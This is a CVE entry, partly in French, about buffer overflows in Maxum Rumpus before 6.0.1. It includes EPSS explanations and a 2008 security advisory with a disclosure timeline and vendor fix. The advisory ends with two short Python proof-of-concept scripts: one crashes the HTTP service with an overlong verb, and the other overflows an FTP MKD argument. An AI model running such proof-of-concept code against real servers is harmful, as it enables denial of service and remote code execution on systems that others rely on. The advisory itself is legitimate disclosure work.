Descriptions du CVE

Multiple buffer overflows in Rumpus before 6.0.1 allow remote attackers to (1) cause a denial of service (segmentation fault) via a long HTTP verb in the HTTP component; and allow remote authenticated users to execute arbitrary code via a long argument to the (2) MKD, (3) XMKD, (4) RMD, and other unspecified commands in the FTP component.

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

BLUE MOON SECURITY ADVISORY 2008-09 =================================== :Title: Two buffer overflows in Maxum Rumpus :Severity: Critical :Reporter: Blue Moon Consulting :Products: Maxum Rumpus v6.0 :Fixed in: 6.0.1 Description ----------- Rumpus turns any Mac into a file transfer server. Rumpus v6.0 contains two buffer overflow vulnerabilities in its HTTP and FTP modules. The first allows an unauthenticated user to crash Rumpus. The later may result in arbitrary code execution under superuser privilege. The overflow in HTTP component is caused by the lack of boundary check when parsing for HTTP action verb (GET, POST, PUT, etc.). If the verb is exactly 2908-byte long, the server runs into a segmentation fault and crashes. A manual restart is required. It has been observed that this problem occurs at other verb lengths too. The vulnerability is rated at moderate severity for the lost of service. The overflow in FTP component is also caused by the lack of length check when parsing FTP commands that take argument such as ``MKD``, ``XMKD``, ``RMD`` and so on. The overflow occurs when the argument is ``strcpy`` to an internal buffer. This buffer is 1024-byte long. When the passed-in argument is longer than 1046 bytes, the instruction pointer will be overwritten. This allows a successful attack to run arbitrary code under the privilege of a superuser (root) by default. Though authorization is required to exploit this security bug, the vulnerability is rated at critical severity because the FTP daemon could be allowing anonymous access. Workaround ---------- There is no workaround the first bug. Disable ANONYMOUS and only allow trusted users to use FTP. Fix --- Maxum has released Rumpus v6.0.1 which addressed these bugs. Disclosure ---------- Blue Moon Consulting adapts `RFPolicy v2.0 <http://www.wiretrip.net/rfp/policy.html>`_ in notifying vendors. :Initial vendor contact: November 28, 2008: Initial contact sent to support@maxum.com :Vendor response: November 28, 2008: John requested further communications to be sent to the same address. :Further communication: November 28, 2008: Technical details and request for regular update of a patch sent to the vendor. November 29, 2008: Vendor thanked for the bug report and planned to release v6.0.1 on Monday, December 01. December 01, 2008: Vendor released 6.0.1 and posted release note at http://www.maxum.com/Rumpus/News601.html. :Public disclosure: December 01, 2008 :Exploit code: For the vulnerability in HTTP component:: from socket import socket, AF_INET, SOCK_STREAM host = "192.168.1.12" port = 80 s = socket(AF_INET, SOCK_STREAM) s.connect((host, port)) s.send('z' * 2908 + '\n\n') s.recv(1024) s.close() For the vulnerability in FTP component:: from socket import socket, AF_INET, SOCK_STREAM host = "192.168.1.12" port = 21 user = "regular" pass_ = "training" commands = [ 'user regular\n', 'pass training\n', 'mkd ' + 'z' * 1046 + 'abcd\n' ] s = socket(AF_INET, SOCK_STREAM) s.connect((host, port)) s.recv(1024) for line in commands: s.send(line) s.recv(1024) s.close() Disclaimer ---------- The information provided in this advisory is provided "as is" without warranty of any kind.
